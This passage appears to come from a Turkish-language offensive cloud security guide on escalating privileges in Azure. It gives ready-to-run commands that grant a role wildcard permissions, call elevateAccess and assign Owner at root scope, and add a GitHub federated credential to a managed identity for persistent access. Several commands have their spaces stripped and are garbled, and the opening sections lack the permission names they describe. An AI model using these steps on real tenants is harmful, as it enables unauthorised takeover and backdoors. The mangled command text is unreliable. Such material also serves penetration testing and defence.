Bu izin, belirli bir kapsamda ilkeler için roller atamaya olanak tanır ve bir saldırganın kendisine daha yetkili bir rol atayarak ayrıcalıkları artırmasına olanak tanır:
Bu izin, bir rol tarafından verilen izinleri değiştirmeye olanak tanır ve bir saldırganın atadığı bir role daha fazla izin vererek ayrıcalıkları artırmasına olanak tanır.
Aşağıdaki içeriklerole.json dosyasını oluşturun:
{"Name":"<name of the role>","IsCustom":true,"Description":"Custom role with elevated privileges","Actions": ["*"],"NotActions": [],"DataActions": ["*"],"NotDataActions": [],"AssignableScopes": ["/subscriptions/<subscription-id>"]}
Sonra, önceki tanımı çağırarak rol izinlerini güncelleyin:
azroledefinitionupdate--role-definitionrole.json
Microsoft.Authorization/elevateAccess/action
Bu izin, ayrıcalıkları yükseltmeye ve Azure kaynaklarına herhangi bir ilkeye izin atamaya olanak tanır. Bu, Entra ID Küresel Yöneticilerine verilmesi amaçlanmıştır, böylece Azure kaynakları üzerindeki izinleri de yönetebilirler.
Kullanıcının, yükseltme çağrısının çalışması için Entra ID'de Küresel Yöneticisi olması gerektiğini düşünüyorum.
# Call elevateazrest--methodPOST--uri"https://management.azure.com/providers/Microsoft.Authorization/elevateAccess?api-version=2016-07-01"# Grant a user the Owner roleazroleassignmentcreate--assignee"<obeject-id>"--role"Owner"--scope"/"
Bu izin, yönetilen kimliklere Federated kimlik bilgileri eklemeye olanak tanır. Örneğin, bir depodaki Github Actions'a bir yönetilen kimliğe erişim vermek. Ardından, herhangi bir kullanıcı tanımlı yönetilen kimliğe erişim sağlar.
Yönetilen bir kimliğe Github'daki bir depoya erişim vermek için örnek komut:
# Generic example:azrest--methodPUT \--uri "https://management.azure.com//subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.ManagedIdentity/userAssignedIdentities/<managed-identity-name>/federatedIdentityCredentials/<name-new-federated-creds>?api-version=2023-01-31" \--headers "Content-Type=application/json" \--body '{"properties":{"issuer":"https://token.actions.githubusercontent.com","subject":"repo:<org-name>/<repo-name>:ref:refs/heads/<branch-name>","audiences":["api://AzureADTokenExchange"]}}'# Example with specific data:azrest--methodPUT \--uri "https://management.azure.com//subscriptions/92913047-10a6-2376-82a4-6f04b2d03798/resourceGroups/Resource_Group_1/providers/Microsoft.ManagedIdentity/userAssignedIdentities/funcGithub-id-913c/federatedIdentityCredentials/CustomGH2?api-version=2023-01-31" \--headers "Content-Type=application/json" \--body '{"properties":{"issuer":"https://token.actions.githubusercontent.com","subject":"repo:carlospolop/azure_func4:ref:refs/heads/main","audiences":["api://AzureADTokenExchange"]}}'